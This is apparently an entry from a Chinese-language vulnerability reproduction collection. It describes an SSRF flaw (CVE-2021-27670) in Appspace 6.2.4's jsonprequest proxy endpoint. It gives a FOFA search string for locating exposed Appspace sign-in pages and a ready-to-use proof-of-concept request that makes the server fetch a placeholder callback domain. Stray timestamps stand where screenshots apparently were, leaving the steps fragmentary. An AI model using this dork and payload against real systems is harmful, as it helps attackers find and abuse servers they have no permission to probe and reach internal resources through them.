2022-05-24 17:29:00 +08:00
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# Appspace jsonprequest SSRF漏洞 CVE-2021-27670
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## 漏洞描述
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Appspace 6.2.4存在漏洞，允许通过api/v1/core/proxy/jsonprequest接口来进行服务端请求伪造，危害系统安全。
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## 漏洞影响
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```
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Appspace 6.2.4
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```
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## FOFA
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```
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"Sign-in-to-Appspace-Core"
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```
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## 漏洞复现
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登录页面为
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2022-12-05 11:09:28 +08:00
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2022-05-24 17:29:00 +08:00
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验证POC
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```
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/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://db0bx.2lfmar.yourdomain.xyz
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```
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2022-12-05 11:09:28 +08:00
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